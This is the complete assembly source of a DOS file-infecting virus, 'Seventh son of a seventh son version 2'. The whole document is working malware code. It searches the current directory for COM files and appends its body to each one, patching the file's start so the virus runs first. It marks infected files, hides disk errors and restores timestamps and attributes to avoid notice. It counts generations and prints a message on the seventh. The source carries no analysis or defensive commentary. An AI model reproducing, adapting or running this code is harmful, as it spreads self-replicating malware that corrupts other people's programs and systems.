;****************************************************************************
;*              Seventh son of a seventh son    version 2
;****************************************************************************

cseg            segment
                assume  cs:cseg,ds:cseg,es:cseg,ss:cseg

FILELEN         equ     end - start
MINTARGET       equ     1000
MAXTARGET       equ     -(FILELEN+40h)

                org     100h

                .RADIX  16


;****************************************************************************
;*              Dummy program (infected)
;****************************************************************************

begin:          db      4Dh
                jmp     start


;****************************************************************************
;*              Begin of the virus
;****************************************************************************

start:          call    start2
start2:         pop     bp
                sub     bp,0103h

                lea     si,[bp+offset begbuf-4] ;restore begin of file
                mov     di,0100h
                movsw
                movsw

                mov     ax,3300h                ;get ctrl-break flag
                int     21
                push    dx

                xor     dl,dl                   ;clear the flag
                mov     ax,3301h
                int     21

                mov     ax,3524h                ;get int24 vector
                int     21
                push    bx
                push    es

                mov     dx,offset ni24 - 4      ;set new int24 vector
                add     dx,bp
                mov     ax,2524h
                int     21

                lea     dx,[bp+offset end]      ;set new DTA adres
                mov     ah,1Ah
                int     21
                add     dx,1Eh
                mov     word ptr [bp+offset nameptr-4],dx

                lea     si,[bp+offset grandfather-4]  ;check generation
                cmp     [si],0606h
                jne     verder

                lea     dx,[bp+offset sontxt-4]     ;7th son of a 7th son!
                mov     ah,09h
                int     21

verder:         mov     ax,[si]                 ;update generations
                xchg    ah,al
                xor     al,al
                mov     [si],ax

                lea     dx,[bp+offset filename-4]  ;find first COM-file
                xor     cx,cx
                mov     ah,4Eh
                int     21

infloop:        mov     dx,word ptr [bp+offset nameptr-4]
                call    infect

                mov     ah,4Fh                  ;find next file
                int     21
                jnc     infloop

                pop     ds                      ;restore int24 vector
                pop     dx
                mov     ax,2524h
                int     21

                pop     dx                      ;restore ctrl-break flag
                mov     ax,3301h
                int     21

                push    cs
                push    cs
                pop     ds
                pop     es
                mov     ax,0100h                ;put old start-adres on stack
                push    ax

                ret


;****************************************************************************
;*              Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************

infect:         cld

                mov     ax,4300h                ;ask attributes
                int     21
                push    cx

                xor     cx,cx                   ;clear flags
                call    setattr
                jc      return1

                mov     ax,3D02h                ;open the file
                int     21
                jc      return1
                xchg    bx,ax

                mov     ax,5700h                ;get file date & time
                int     21
                push    cx
                push    dx

                mov     cx,4                    ;read begin of file
                lea     dx,[bp+offset begbuf-4]
                mov     ah,3fh
                int     21

                mov     al,byte ptr [bp+begbuf-4]  ;already infected?
                cmp     al,4Dh
                je      return2
                cmp     al,5Ah                  ;or a weird EXE?
                je      return2

                call    endptr                  ;get file-length

                cmp     ax,MAXTARGET            ;check length of file
                jnb     return2
                cmp     ax,MINTARGET
                jbe     return2

                push    ax
                mov     cx,FILELEN              ;write program to end of file
                lea     dx,[bp+offset start-4]
                mov     ah,40h
                int     21
                cmp     ax,cx                   ;are all bytes written?
                pop     ax
                jnz     return2

                sub     ax,4                    ;calculate new start-adres
                mov     word ptr [bp+newbeg-2],ax

                call    beginptr                ;write new begin of file
                mov     cx,4
                lea     dx,[bp+offset newbeg-4]
                mov     ah,40h
                int     21

                inc     byte ptr [si]           ;number of next son

return2:        pop     dx                      ;restore file date & time
                pop     cx
                mov     ax,5701h
                int     21

                mov     ah,3Eh                  ;close the file
                int     21

return1:        pop     cx                      ;restore file-attribute
;                call    setattr

;                ret


;****************************************************************************
;*              Changes file-attributes
;****************************************************************************

setattr:        mov     dx,word ptr [bp+offset nameptr-4]
                mov     ax,4301h
                int     21
                ret


;****************************************************************************
;*              Subroutines for file-pointer
;****************************************************************************

beginptr:       mov     ax,4200h                ;go to begin of file
                jmp     short ptrvrdr

endptr:         mov     ax,4202h                ;go to end of file
ptrvrdr:        xor     cx,cx
                xor     dx,dx
                int     21
                ret


;****************************************************************************
;*              Interupt handler 24
;****************************************************************************

ni24:           mov     al,03
                iret


;****************************************************************************
;*              Data
;****************************************************************************

begbuf          db      0CDh,  20h, 0, 0
newbeg          db       4Dh, 0E9h, 0, 0
nameptr         dw      ?
sontxt          db      'Seventh son of a seventh son',0Dh, 0Ah, '$'
grandfather     db      0
father          db      0
filename        db      '*.COM',0
                db      '‚¨°³±'

end:

cseg            ends
                end     begin

